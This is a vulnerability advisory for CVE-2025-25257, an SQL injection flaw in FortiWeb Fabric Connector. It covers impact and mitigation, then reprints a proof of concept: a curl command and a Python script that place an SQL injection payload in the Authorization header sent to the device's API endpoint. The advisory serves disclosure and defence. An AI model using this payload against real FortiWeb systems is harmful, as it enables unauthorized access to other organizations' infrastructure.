Overview
The FortiWeb Fabric Connector version 7.6.x has been identified with a critical vulnerability, designated as CVE-2025-25257. This vulnerability allows for SQL Injection attacks that can escalate to Remote Code Execution (RCE), posing significant risks to organizations relying on this web application firewall. Attackers can exploit this flaw to manipulate database queries and potentially execute arbitrary code on affected systems.
Technical Details
This vulnerability arises from improper input validation in the FortiWeb Fabric Connector. Specifically, when user inputs are not adequately sanitized, an attacker can craft malicious SQL queries that are executed by the underlying database. Once the attacker gains access to the database, they can escalate their privileges, leading to Remote Code Execution. This exploitation can be achieved via various attack vectors, such as manipulating API calls or web forms that interact with the database.
For instance, an attacker may send a specially crafted request containing SQL code to the FortiWeb Fabric Connector. If the application processes this input without proper sanitization, it could allow the attacker to execute commands on the server, potentially compromising sensitive data or the entire system.
Impact
The implications of this vulnerability are severe. Successful exploitation can lead to unauthorized access to sensitive data, complete system compromise, and potential data breaches. Organizations could face significant reputational damage, regulatory penalties, and financial losses due to downtime and recovery efforts. Furthermore, the ability to execute arbitrary code remotely can enable attackers to deploy malware or ransomware, amplifying the threat landscape.
Mitigation
To protect against CVE-2025-25257, organizations should immediately update their FortiWeb Fabric Connector to the latest version as recommended by Fortinet. Regular patch management is crucial for mitigating vulnerabilities. Additionally, implementing robust input validation and sanitization measures can help prevent SQL Injection attacks. Security professionals should conduct thorough security assessments, including penetration testing, to identify and remediate potential vulnerabilities in their systems.
Moreover, employing a Web Application Firewall (WAF) with advanced threat detection capabilities can provide an additional layer of security. Monitoring logs for unusual activities and employing Intrusion Detection Systems (IDS) can help in early detection and response to potential exploitation attempts.
Proof of Concept (PoC)
# Exploit Title: FortiWeb Fabric Connector 7.6.x - Pre-authentication SQL
Injection to Remote Code Execution
# Date: 2025-10-05
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Tested on: Win, Ubuntu
# CVE : CVE-2025-25257
Overview
CVE-2025-25257 is a pre-authentication SQL Injection vulnerability in
Fortinet FortiWeb Fabric Connector versions 7.0 through 7.6.x.
This flaw allows attackers to inject malicious SQL commands into the
vulnerable API endpoint, potentially leading to Remote Code Execution (RCE).
PoC
curl -k -H "Authorization: Bearer aaa' OR '1'='1"
https://<fortiweb-ip>/api/fabric/device/status
PoC Python
import requests
def test_sqli(base_url):
url = f"{base_url}/api/fabric/device/status"
headers = {
"Authorization": "Bearer aaa' OR '1'='1"
}
try:
response = requests.get(url, headers=headers, verify=False,
timeout=10)
print(f"Status code: {response.status_code}")
print("Response body:")
print(response.text)
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="PoC SQLi By Ex3ptionaL
CVE-2025-25257 FortiWeb")
parser.add_argument("base_url", help="Base URL of FortiWeb (ex:
https://10.0.0.5)")
args = parser.parse_args()
test_sqli(args.base_url)
# python3 src/poc.py https://10.0.0.5